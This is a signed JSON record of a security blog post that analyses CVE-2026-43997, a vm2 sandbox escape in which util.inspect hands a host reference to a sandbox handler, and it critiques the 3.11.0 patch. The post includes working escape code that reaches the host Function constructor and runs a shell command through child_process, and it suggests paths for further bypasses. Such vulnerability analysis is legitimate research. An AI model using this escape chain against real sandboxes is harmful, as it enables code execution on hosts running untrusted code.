-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"The PoC for CVE-2026-43997 ends with `WebAssembly.compileStreaming(obj).catch(() => {})`. The argument is not a Response. The catch is not the mechanism. The mechanism is that `compileStreaming`'s argument-rejection path runs `util.inspect` on the argument synchronously, before the Promise rejects, to build a useful error message. The argument is a sandbox-defined object whose `Symbol(nodejs.util.inspect.custom)` method is a handler the attacker authored. Node's host-realm util.inspect calls that handler in the sandbox realm with a host-realm reference to itself as the handler's third positional argument.\n\nvm2 3.11.0 patched this. The patch does not stop the host from calling the sandbox handler. The patch does not stop the host inspect function from being passed as the third argument. The patch caches the four host Function constructors at bridge construction and blocks the sandbox from reading `.constructor` off the host reference it now holds.\n\n## The inspect protocol is a documented host-to-sandbox callback\n\nNode.js exposes its inspection seam through a single globally registered symbol. Any object that defines a method at the key `Symbol.for('nodejs.util.inspect.custom')` replaces util.inspect's default behavior for that object. The protocol's [documented use](https://nodejs.org/api/util.html#utilinspectcustom) is to let a class control how it prints when it lands in a `console.log` call. The Node docs use a `Password` class as the example: define the method, return a redacted string, never expose the value.\n\nThe documentation describes the seam from the consumer side. The producer side, where util.inspect itself runs, is host code that does three things in order. It reads the symbol off the target object. It calls the method it finds. It passes three arguments to the call: a recursion depth, an options object, and a reference to util.inspect itself, \"for portability,\" so the handler can recursively inspect any nested properties it wants to format.\n\nThe third argument is the carrier. It is a host-realm function reference, passed into a method defined in whatever realm the target object came from, by host code that has no concept of realms.\n\nWhen the target object came from vm2's sandbox, the method runs in sandbox realm. The reference it receives is host-realm. The bridge that mediates everything else in vm2's design is on neither side of this call.\n\n## How the sandbox obtains the symbol value\n\n```javascript\nconst g = {}.__lookupGetter__;\nconst a = Buffer.apply;\nconst p = a.apply(g, [Buffer, ['__proto__']]);\nconst o = p.call(p.call(a));\nconst HObject = o.constructor;\nsym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);\n```\n\n`{}.__lookupGetter__` is the deprecated accessor still shipping on Object.prototype, in sandbox realm. `Buffer.apply` is host Function.prototype.apply accessed off the host Buffer constructor.\n\nThe third line is the bridge bypass. `a.apply(g, [Buffer, ['__proto__']])` invokes host `Function.prototype.apply` with `this = g` and the spread arguments `[Buffer, ['__proto__']]`, which is `g.call(Buffer, '__proto__')`, which is `Buffer.__lookupGetter__('__proto__')`. The result is the host-realm `__proto__` getter function. It came back from a host-realm function call as a return value, not as a property read, so the bridge's `get` trap did not see it.\n\nTwo invocations later, `p.call(p.call(a))` walks: `a`'s `__proto__` is host `Function.prototype`, `Function.prototype`'s `__proto__` is host `Object.prototype`. `o = host Object.prototype`. `o.constructor = HObject = host Object`. The sandbox now holds an unwrapped reference to the host Object constructor, which is the entry point to every reflection primitive in the language.\n\nIt calls `HObject.getOwnPropertySymbols(Buffer.prototype)`. The host code enumerates symbol-keyed own properties of host Buffer.prototype. The first entry is `Symbol(nodejs.util.inspect.custom)`. The sandbox now has the exact symbol value the inspect protocol looks up at the call site.\n\nBuffer.prototype carries the symbol because Node.js wants `console.log(buf)` to render as `` rather than as the default index-keyed object dump. The custom inspector is part of Node's user-facing API. The sandbox does not need to know the symbol value in advance. Enumeration of any host prototype that ships custom inspection suffices.\n\n## The trigger\n\n```javascript\nconst obj = {\n [sym]: (depth, opt, inspect) => {\n inspect.constructor(\"return process.getBuiltinModule('child_process').execSync('ls')\")();\n },\n valueOf: undefined,\n constructor: undefined,\n};\n\nWebAssembly.compileStreaming(obj).catch(() => {});\n```\n\n`obj` is a sandbox-realm plain object. Its property key is the host inspect symbol the sandbox just enumerated. Its property value is a sandbox-defined function. The `valueOf: undefined` and `constructor: undefined` decoys neutralize property accesses util.inspect performs before reaching the custom handler.\n\n`WebAssembly.compileStreaming` expects a Response, or a Promise resolving to one. Given anything else, it rejects. The rejection's error message wants to describe what was passed; the message is built by calling util.inspect on the argument. util.inspect finds the inspect-custom symbol on `obj` and calls the handler.\n\nThe handler runs in sandbox realm. It receives `inspect` as its third argument: a host-realm reference to util.inspect itself. Before 3.11.0, reading `inspect.constructor` returned the host Function constructor. The handler called it with the body `return process.getBuiltinModule('child_process').execSync('ls')`, immediately invoked the returned function, and exited. `compileStreaming`'s rejection then propagated; the catch handler suppressed it; the exploit had already completed before the catch ran.\n\nThe `.catch(() => {})` is decoration. The shell command had run before the Promise transition.\n\n## What 3.11.0 actually patched\n\nvm2 3.11.0 closed thirteen advisories in one coordinated release. The release note's first line reads: \"Embedders running untrusted code should upgrade. Several of the advisories close full sandbox-escape RCE primitives.\"\n\nThe fix for CVE-2026-43997 lives in `lib/bridge.js`. At bridge construction, the bridge captures the four host Function constructors out of the other realm's globals, before any sandbox code runs:\n\n```javascript\nlet otherFunctionCtor;\nlet otherAsyncFunctionCtor;\nlet otherGeneratorFunctionCtor;\nlet otherAsyncGeneratorFunctionCtor;\n```\n\nA predicate compares against the cached identities:\n\n```javascript\nfunction isDangerousFunctionConstructor(value) {\n return (\n value === otherFunctionCtor ||\n value === otherAsyncFunctionCtor ||\n value === otherGeneratorFunctionCtor ||\n (otherAsyncGeneratorFunctionCtor &&\n value === otherAsyncGeneratorFunctionCtor)\n );\n}\n```\n\nThe bridge's `get` trap consults the predicate. When the value being returned from a property access is one of the four cached constructors, the trap blocks the return regardless of the access path. A `containsDangerousConstructor` recursion runs the predicate on property descriptors, on nested property descriptors, and on values that could be smuggled out via the proxy-unwrapping path that `Object.entries` opens. The patch is comprehensive about Function constructors crossing the bridge as values the sandbox reads.\n\nThe patch does nothing to the inspect protocol. util.inspect still looks up the symbol on the target. It still calls the sandbox handler. It still passes the host-realm inspect reference as the third argument. The patch closes one verb the handler used on that reference: `.constructor`. The carrier is intact. The patch denies one downstream use of the carrier's payload.\n\n## The bridge already maintains an inventory of protocols it cannot interpose on\n\n`lib/setup-sandbox.js` already holds the inventory. `resetPromiseSpecies` blocks the species lookup on `Promise.prototype.then`, where V8's C++ Promise machinery reads the constructor through a path the Proxy cannot trap. `neutralizeArraySpeciesBatch` does the same for `ArraySpeciesCreate` in `Array#map`, `filter`, `slice`, `concat`, `splice`, `flat`, `flatMap`, and the TypedArray equivalents. The `WebAssembly.JSTag` deletion removes the wasm-tag identity that wasm's `try_table` matches in C++. `handleException`'s `SuppressedError` recursion unwraps V8's disposal-protocol error wrapper, which carries host-constructed errors across the bridge before any JS-visible call. A new `%AsyncGeneratorPrototype%` wrap intercepts generator-machinery host-error propagation. vm2's [README acknowledges where this leads](https://github.com/patriksimek/vm2): \"New bypasses will likely be discovered in the future.\"\n\nEach entry is a host-realm protocol whose mechanics happen below the JavaScript surface where Proxies are observable. The defense for each is the same shape: identify the JS-visible seam closest to the C++ implementation, install a wrap or deletion at that seam, accept that the defense is per-feature and reactive.\n\nCVE-2026-43997 adds another carrier to the inventory, at a different layer. Its fix is not in `lib/setup-sandbox.js`; it is in `lib/bridge.js`'s constructor cache. The reason for the new layer is the direction of the crossing. The other inventoried protocols carry host references back to sandbox code as the return value of a host function the sandbox called. The inspect protocol carries the host reference into sandbox code as the argument to a sandbox method the host called. The sandbox-side wrap pattern in `setup-sandbox.js` has nothing to wrap when the call originates in the host; the bridge-side return-value block is the only place left to install the deny. That is what `isDangerousFunctionConstructor` is.\n\nThis is the [Unpatchable Primitive](/patterns/unpatchable-primitive) pattern in vm2's terminal form, and the same shape recurs across the other three v3.11.0 CVEs that landed the same day. [DotNetNuke's CVE-2017-9822](/posts/dotnetnuke-cve-2017-9822-deserializer-still-public) showed the pattern outside vm2: a deserializer whose primitive cannot be removed, and a fix that closes one consumer of it. CVE-2026-44005 found that all four of the bridge's write traps were forwarding sandbox mutations to `Object.prototype`. CVE-2026-43999 found that the builtin allowlist's `module` entry transitively re-exposed every other builtin's loader. CVE-2026-44007 found that the `nesting: true` configuration overrode `require: false`. Four distinct primitives. Each denied one verb. None removed. vm2 is the canonical [Design Debt Driver](/patterns/design-debt-driver) of the JavaScript ecosystem: the bug class is not a coding mistake, it is what the component does.\n\n## What the next CVE in this family looks like\n\nThe inspect.custom handler still receives a host inspect reference. `.constructor` is blocked. Other properties on `inspect` are host references too. `inspect.bind`, `inspect.call`, `inspect.apply` return bound host functions. `inspect.prototype` walks to host `Function.prototype`. Whether each of those paths is caught by the patch's recursive descriptor inspection determines whether the next bypass takes hours or days to write.\n\nThe maintainer's own release note is the framing: \"Embedders running untrusted code should upgrade.\" The upgrade is from one snapshot of the deny list to the next snapshot of the deny list. The protocol crossings the bridge cannot see do not move.\n\nAdvisory and PoC: [GHSA-47x8-96vw-5wg6](https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6)","closing_line":"vm2's bridge intercepts what the sandbox reads. util.inspect's call into the sandbox is not a read.","hook_md":"The PoC for CVE-2026-43997 ends with `WebAssembly.compileStreaming(obj).catch(() => {})`. The argument is not a Response. The catch is not the mechanism. The mechanism is that `compileStreaming`'s argument-rejection path runs `util.inspect` on the argument synchronously, before the Promise rejects, to build a useful error message. The argument is a sandbox-defined object whose `Symbol(nodejs.util.inspect.custom)` method is a handler the attacker authored. Node's host-realm util.inspect calls that handler in the sandbox realm with a host-realm reference to itself as the handler's third positional argument.\n\nvm2 3.11.0 patched this. The patch does not stop the host from calling the sandbox handler. The patch does not stop the host inspect function from being passed as the third argument. The patch caches the four host Function constructors at bridge construction and blocks the sandbox from reading `.constructor` off the host reference it now holds.","post_id":346,"slug":"vm2-cve-2026-43997-inspect-still-calls-the-sandbox","title":"CVE-2026-43997: vm2 Blocked the Function Constructor. util.inspect Still Calls the Sandbox Handler.","type":"initial","unreadable_sentence":"vm2's bridge intercepts what the sandbox reads. util.inspect's call into the sandbox is not a read."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCajbnnAAKCRDeZjl4jgkQ Jm9WAP4vS2Yoa6OkWHI86FEAZJ2ZEz4n28C56owy7bRc8pzMKgD/XDUadfUlTF7C e6q6GC1aAFKlnhwgkqGMBYxyDNAhBws= =0dCe -----END PGP SIGNATURE-----